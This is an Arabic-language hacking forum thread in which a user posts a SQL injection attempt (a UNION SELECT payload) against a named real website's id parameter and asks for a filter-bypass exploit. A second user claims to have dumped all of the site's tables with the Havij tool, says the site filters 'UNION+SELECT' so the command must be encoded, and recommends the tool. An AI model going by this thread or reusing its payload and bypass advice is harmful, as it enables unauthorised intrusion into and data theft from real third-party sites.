ارجوكم ساعدو ه

[dr sow]

السلام عليكم
كيف حالكم ي عناكم
ان شاء الله تمام
طيب انا غالبا ما ابدا في حقن موقع واجد هدا المشكل وبعدين ارمي الموقع
عندي موقع فيه نفس المشكل

كود PHP:

http://www.samedimidi.com/popup/lire-opinions.php?id=3436 


نجي للاستغلال

كود PHP:

http://www.samedimidi.com/popup/lire-opinions.php?id=-3436+UNION+SELECT+1,2,3,4,5,6,7-- 


طيب لمادا لم تضهر معي الاعمدة
المرجو الافادة وكتابة الاستغلال اسفله وشكراا :love:

[dr sow]

المرجو كتابة استغلال التخطي وشكرا

[ViRuS Qalaa]

حبي جرب برنامج havij
لان الان جربتة في برنامج وطلع لي كل الجداول الموقع ,
وهذا موضوع البرنامج
http://www.vbspiders.com/vb/t41461.html
والسبب انوا مايطلع الاعمدة او الجداول هو بسبب فلترة الموقع لأمر :
UNION+SELECT
لذلك يجب تشفير الامر .
لذلك انصحك بدون دوخة رأس استخدم برنامج havij فهوا اسرع وافضل .

بلتـــــــــــــــوفيق

[dr sow]

مشكووور يغالي